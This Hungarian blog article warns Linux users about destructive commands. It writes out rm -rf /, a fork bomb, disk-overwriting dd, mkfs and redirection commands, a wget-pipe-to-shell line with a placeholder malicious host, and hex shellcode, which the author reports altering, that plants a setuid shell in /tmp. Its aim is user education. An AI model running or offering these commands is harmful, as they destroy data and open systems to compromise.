Destruktív parancsok, amivel vigyázni kell!

Destruktív, azaz romboló, rendszert tönkretevő parancsok, amit soha ne használj! Mert ha ezeket beírod, elszabadul a Sátán, a Nap kihuny és még a klímaváltozás is felgyorsul! Vagy mégsem? Igen, sok helyen ezekről úgy írnak, mintha valami titkos, okkult parancsok lennének, és óvni kellene a felhasználókat, és jobb, ha nem is ismeri. Szerintem érdemes őket ismerni, esetleg használni is, ha kell. Egyik destruktív parancs sem jelent veszélyt, ha betartod azt a szabályt, ami szerintem alap: soha nem írunk be olyan parancsot, amit nem ismerünk. Ha kapsz egy parancsot, paraméterekkel, átgondolod mit tesz, és ha nem tudod, akkor utánaolvasol. Így nem lehet gond. A védekezés valóban ennyi.

Így mindenkit óvok attól, hogy ezeket bemásolja automatikusan a terminálba és futtassa!

Az egyik leggyakrabban emlegetett destruktív parancs

rm -rf /

Ez az egyik legérdekesebb parancs, amit ma említek, ha ésszel használod. Az rm -rf egy mappában kiadott parancs az egyik leggyorsabb módszer a mappa és annak tartalmának törlésére. Azaz maga a parancs, és ez a paraméterezés a / jel nélkül nagyon hasznos, de veszélyes.

Egy kis elírás vagy tudatlanság helyrehozhatatlan rendszer károsodást okozhat. Az rm paranccsal használt opciók közül néhány, amit ismerni kell.

Az rm parancs Linux alatt használható fájlok törlésére.

Az rm -r parancs rekurzív módon törli a mappát.

Az rm -f parancs kérés nélkül eltávolítja a „Csak olvasható fájl” fájlokat is.

rm -rf /  A törlés kényszerítése a gyökérkönyvtárban. Ez az ami veszélyes, hiszen mindent töröl a gyökérből, amihez jogod van. Olvastam, vagy említették, hogy így nem is fog müködni, de értelemszerűen nem próbáltam ki. Te se tedd!!!

rm -rf *  Az aktuális munkakönyvtárban minden törlése erőszakosan.

rm -rf. Az aktuális mappa és az almappák törlésének kényszerítése.

Ezért légy nagyon óvatos, amikor az rm -rf parancsot hajtod végre. A fájl véletlen törlésének kiküszöbölésére az „rm” paranccsal hozz létre egy „rm” parancs aliast „rm -i” néven a .bashrc, vagy .zshrc fájlban, amely minden törlés előtt megerősítést kér. Én ehhez még annyit teszek, hogy már az elején meg kellene szokni, hogy egy parancs kiadása előtt megnézed a helyességét, és a paramétereket, illetve a könyvtárat.

Ismerd meg a visszaállítási parancsokat, és a végleges törlési parancsot is.

:(){:|:&};: azaz fagyasszuk le a gépet

Ez egy „fork bomb”. Úgy működik, hogy meghatározza a ' : ' nevű függvényt , amely kétszer - egyszer az előtérben és egyszer a háttérben - hívja önmagát. Addig hajt végre újra és újra, amíg a rendszer lefagy. Olyan, mint egy szaporodó parazita, addig szaporodik, míg a gazdatest erőforrása el nem fogy. Bár kétlem, hogy épeszű Linux felhasználó, még ha nem is ismeri, akkor bemásolná a terminálba, hiszen alapvetően első látásra is olyan, ami nem sima parancs. Soha! Soha ne dőlj be olyan trükknek, amiben azt fejtegetik, hogy most megosztanak veled egy olyan tippet, trükköt, melyek valami nagyon csodás dolog történik, és nagyon jó lesz. Ne hidd el, hogy pár összevissza karakter beírásával valami nagyon rejtett csodadolgot tudsz majd előcsalogatni.

Mi történik, ha ezt a destruktív parancsot lefuttatod? Lefagy a Linux. Ennyi, nem több. Azaz nem romlik el, vagy nem megy tönkre a gép. Én kipróbáltam, lefagyott, nem reagált, majd egy hidegindítás után már nyoma sem volt.

Akármilyen parancs > /dev/sdx

A fenti parancs a ' parancs ' kimenetét írja a /dev/sdx blokkra. A fenti parancs nyers adatokat ír, és a blokkon, lemezen, pendrájvon, SSD-n stb. lévő összes fájl lecserélésre kerül a nyers/értelmetlen adatokra, ami a blokk teljes adatvesztését eredményezi. Ez a hivatalos meghatározás, ami mutatja, hogy ez egy valóban destruktív lehetőség. Szokjuk meg, hogy ha olyan parancsot látunk, ahol bármi/dev/sdx van, ahol az x egy akármilyen betű, akkor azt kiemelten óvatosan, és a saját rendszerünkre adaptálva használjuk. Az ilyen parancs az adott, megcélzott lemezre ír, vagy azzal valamit tesz. Az esetek nagy részében az ilyen parancs pld. /dev/sdc lemezmegjelölése nem a Te gépedhez készül, hanem a cikk írójáéra. Nálad lehet, sőt biztosan át kell írni a megfelelő lemeznévre. Az lsblk paranccsal azonosíthatod be, listáztathatod ki a lemezeidet.

A parancs nem ördögtől való, hiszen egy lemez, partíció felülírására, az ottani adatok elfedésére és zagyva adatokkal való feltöltésére is jó. De ehhez inkább használjunk célprogramot.

A tényleges veszélye abból adódóik, hogy sokszor használjuk a kacsacsőrt átirányításra, és ha véletlenül az ezen a módon adjuk meg, az gond lehet. De normál esetben nagyon kicsi az esélye, hogy ennyire elírsz valamit…

mv mappa /dev/null parancsok

Hm… ez is olyan, mint a fenti destruktív parancs. Nagyon kicsi az esélye, hogy véletlenül elírod az mv (mozgatás) parancsot így. A másik hasonlóság a hasznossága: ezt is lehet használni törlésre. Bár nem egy megszokott dolog, de használható mappák, fájlok törlésére.

A fenti parancs a "mappa" könyvtáradat a /dev/null könyvtárba helyezi át. A Linuxban /dev/null eszköz egy speciális fájl, amely eltünteti az összes odaírt adatot, és jelentéseket készít az írási műveletről. Azaz amit oda irányítasz, az eltűnik örökre, mert ez a „Linux fekete lyuka”.

Itt is a kockázat abból adódik, hogy ha ész nélkül bemásolsz egy parancsot, vagy szkriptet, és nem nézed meg, hogy mit tesz. Maga a másolás (mv) mindennapi dolog, és alapvetően a /dev/null-ra is szoktunk küldeni kimeneteket stb. így maga a módszer nem destruktív a rendszeredre nézve, csak azt nézd meg, hogy mit küldesz oda.

wget http://rosszindulatú_forrás -O- | sh

De wget lehet curl, vagy más is. Ez egy letöltési parancs, ami megadott helyről letölt valamit, majd futtat. Ha a letöltési helyen lévő dolog az káros, és azt futtatod, akkor problémáid lesznek. Ez ellen csak egyféleképp védekezhetsz: csak biztosan megbízható helyről töltesz le valamit és azt használod. Sok leírásban olvasható hasonló parancs, amivel kissé automatizálják pld. egy program letöltését és telepítését. Így önmagában ez sem jelent semmi problémát, csak a forrást kell megnézni: megbízol benne, vagy nem. Elég sok ideje ismerjük, hogy vannak rosszindulatú emberek, akik ilyen-olyan káros programokat adnak közre. Ha ennyi idő után sem azzal kezdi az ember, ránéz arra, hogy mit és honnét szed össze, akkor azon nem sokat segít semmi figyelmeztetés.

mkfs.ext3 /dev/sdx

Ezt az eredeti cikk, ami inspirálta ezt az írást, említi. Én nem tettem volna, mert ez nem destruktív parancs, amit soha ne futtass témában említenék. Ez sima formázási parancs, ami mindent eltüntet a lemezről. Aki futtat egy formázási, vagy akármilyen általa nem teljesen ismert parancsot ész nélkül, akkor meg is érdemli a leformázott lemezt, teljes adatvesztéssel. Mindig nézd meg, hogy a javasolt, olvasott stb. parancs mit tesz.

> fájl

A fenti parancs a fájl tartalmának ürítésére szolgál. Ha a parancsot elgépelés vagy tudatlanságod miatt hajtod végre, például az „> xyz.conf” kiüríti a konfigurációs fájlt. Itt a veszélye abból adódik, hogy könnyen ütheted a kacsacsőrt, és nem is tudatosodik benned, hogy ott van. Ilyen lehet pld. parancs szerkesztése esetén, amikor ottmarad véletlen a > jel. Bár több helyen a veszélyes, a destruktív parancsok közt tartják számon, de nagyon jól használható, ha egy fájl tartalmát üríteni akarod, vagy egy naplófájl tartalmát szeretnél „törölni”.

Itt kiemelem, hogy – bár nagyon hasznos – de a parancselőzmények veszélyes eszközök. Két okból. Az első ok, amibe talán sokan belefutottak már, hogy az adott parancsot előzőleg egy másik könyvtárban futtattad, és nem biztos, hogy a mostaniban is pont úgy kellene futtatni. Egy sima törlési parancs abban a könyvtárban jó, amiben törölni akarsz, de fél óra múlva már egy másik könyvtárban nem biztos. A másik veszélye a szerkeszthetőségből ered. Nem feltétlen ellenőrzi pont ugyanolyan alapossággal a parancssort az ember, ha csak valami kicsiséget változtat meg. Hiszen jó volt az előbb is, most is jónak kell lenni... Ami okozhat problémát.

dd if=/dev/random of=/dev/sdx

Zagyva adatokkal tölti fel a lemezt. Bár sokszor használtuk a dd parancsot, de ott mindig kiemeltük, hogy bizony az elütés, a hiba, az oda nem figyelés komoly gondot, adatvesztést okozhat.

Ez sem alapvetően rossz, káros, vagy destruktív, hiszen használható egy lemez adatainak eltüntetésre.

Bár ide soroltam, de igazából a fentiektől erősen eltérő a

Destruktív parancsok elrejtése

Itt nem elírásról van szó, vagy viccből, szívatásból ajánlott paranccsal van dolgunk, amit hamar kiszűrhetünk figyelemmel és egy kis olvasással, hanem valóban az ártó szándékról, amit ellepleznek.

Az alábbi parancs nem más, mint az első fenti parancs ( rm -rf ). Itt a kódok hexa formátumban lettek elrejtve, hogy egy tudatlan felhasználót megvezessenek.

char esp[] __attribute__ ((section(“.text”))) /* e.s.p

release */

= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″

“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″

“\xdf\\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″

“\x56\x04\xf7\x56\\x0c\x83\xc4\x74\x56″

“\x8d\x73\x08\x56\x59\xb0\x0b\xcd\x80\x31″

“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″

“\x6e\x2f\x73\x68\x00\x2d\x63\x00″

“cp -p /bin/sh /tmp/.beyond; chmod 4755

/tmp/.beyond;”;

Ez a parancs itt azt mutatja, hogy a fenyegetés, a destruktív kód lehet rejtett is, és így nem lehet egyszerűen észlelni. Tisztában kell lennie azzal, hogy mit csinál, és mi lenne az eredménye – ami jó szöveg, de egy átlagos Linux felhasználó ezt már nem olyan egyszerűen dekódolja magának. Így csak a megszokott figyelmeztetés marad: csak tiszta forrásból.

Mielőtt valaki futtatná a fenti sorokat, el kell vennem a kedvét: kivettem egypár karakter, így nem fog működni!

Nagyjából ennyit szántam mára. Összefoglalnám pár szóban. Bár vannak olyan parancsok, melyek destruktívak, és sokszor a rosszindulatú emberek terjesztik is, ajánlgatják, de ha odafigyelsz, és ellenőrződ a parancsot, akkor csökkented a veszélyt. Ezek egy része napi használatú parancs, csak akkor okoz problémát, ha nem megfelelően használod őket. Ha root jelszót kér valami, olyan van benne, hogy /dev/akármi, vagy fura, ismeretlen karakterek halmaza, akkor légy kiemelten óvatos.